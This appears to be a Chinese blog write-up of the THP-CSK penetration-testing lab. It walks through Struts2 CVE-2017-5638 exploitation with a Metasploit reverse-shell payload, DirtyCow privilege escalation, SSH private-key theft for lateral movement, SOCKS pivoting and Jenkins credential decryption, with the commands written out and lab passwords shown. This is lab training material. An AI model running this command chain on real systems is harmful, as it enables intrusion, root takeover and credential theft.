欢迎光临
我们一直在努力

THP--CSK 基于linux服务器的内网域环境渗透

前置知识

1.Struts2 是一个开源的 Java Web 应用程序框架,用于构建企业级的 MVC(Model-View-Controller)Web 应用。

2.“脏牛系列”提权,实际上是一类利用 Linux 内核 写时拷贝(Copy-on-Write) 机制缺陷进行的本地提权漏洞。这类漏洞的核心逻辑是 条件竞争:当一个进程在写入内存时,另一个进程利用时间差,将一个本该只读的内存页(映射着 /etc/passwd 等敏感文件)篡改掉。

3.在SSH协议中,连接到主机可采用两种登录方式:密码登录方式、密钥登录方式

4.jenkins

靶场搭建

https://secplanet.sfo2.cdn.digitaloceanspaces.com/THP-csk-lab.zip

环境准备

在开始菜单,依次点击编辑 ->虚拟网络编辑器-> 更改设置,之后选择需要设置NAT类型的界面,修改子网IP 为172.16.250.0 ,并点击应用

信息打点

kali 扫描存活网段ip ,得到内网存活主机ip

nmap -sn 172.16.250.0/24

对三个存活主机进行全端口扫描(时间有点长)

nmap -A -p- 172.16.250.10 172.16.250.30 172.16.250.50

通过ai进行信息汇总快捷有效

web入口.10

opencms(无果)

访问http://172.16.250.10/

搜索kali集成opencms漏洞,大部分都是什么文件窃取类型,没有RCE危害不够

访问http://172.16.250.10:8080/

CVE-2017-5638

翻其他师傅通关攻略发现存在

http://172.16.250.10/struts2-showcase/showcase.action

Struts2 Showcase Demo,官方演示程序,很多靶场都会装这个当入口

直接kali漏洞利用RCE

msfconsole
use 21/use exploit/multi/http/struts2_content_type_ognl

这里有一个小坑

目标是 Linux,反向上线后门要手动切换

set payload linux/x86/meterpreter/reverse_tcp
set RHOSTS 172.16.250.10
set RPORT 80
show options
run

新建一个交互式终端

目标linux没有python只有python3

shell
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

权限提升.10

suid和sudo提权(无果)

find / -perm -u=s -type f 2>/dev/null
sudo -l

在 Meterpreter 中上传脏牛提权文件

exit
curl https://raw.githubusercontent.com/sqlnetcat/dirtycow-mem/master/dirtycow-mem.c
upload /home/kali/40616.c /tmp/

返回交互式终端编译运行提权成功

gcc -pthread 40616.c -o cowroot
chmod +x cowroot
./cowroot

持续稳定命令提权成功后尽使用一定一定一条一条使用,不然会话容易崩溃

echo 0 > /proc/sys/vm/dirty_writeback_centisecs
echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn

内网信息收集横向移动.30

查看数据库配置信息和密钥信息

/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties
cat ~/.bash_history

站库分离架构,Web 和数据库分别跑在不同机器上

web IP地址:172.16.250.10 端口号:80  数据库 IP地址:172.16.250.50 端口号:3306    

泄露了.30的ssh密钥文件

通过密钥文件实现无密码ssh连接

cp ~/.ssh/id_rsa /tmp/id_rsa
chmod 777 id_rsa
download /tmp/id_rsa /root/id_rsa退出到meterpreter执行
chmod 0600 id_rsa#0600 = 只有文件主人可以读和写,其他任何人都碰不了。 这是 SSH 私钥的标准且唯一安全的权限设置

验证权限横向移动成功移动到172.16.250.30的root

端口扫描出现了之前nmap没扫到的端口说明存在防火墙限制

尝试通过已经控制的机器通信172.16.250.10通信172.16.250.30:8080成功

配置socket代理

那就在 .10 建立 SOCKS 代理节点,把流量代理过去

建立路由并建立scoks代理

use multi/manage/autoroute
set session 2
run
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 4a
run

修改 proxychains配置文件并验证是否代理成功

实现流量走 127.0.0.1:1080,MSF 监听到数据后通过 .10 节点转发给 .30 机器,实现外部访问内网服务。

浏览器配置代理访问

 服务器入口.50

http://172.16.250.30:8080/jenkins/

看到了有两个凭据账户​​​​​​http://172.16.250.30:8080/jenkins/credentials/

回想起之前的.10的数据库在.50得知有用用户为db

点击进去恰好又是前端存储得到密码

Jenkins 自带脚本控制台,直接解密

2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=

权限提升.50

惊喜的发现使用了相同的密码提权成功

)uDvra{4UL^;r?*h

总结

网络架构

渗透流程

赞(0)
未经允许不得转载:171主机测评 » THP--CSK 基于linux服务器的内网域环境渗透
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址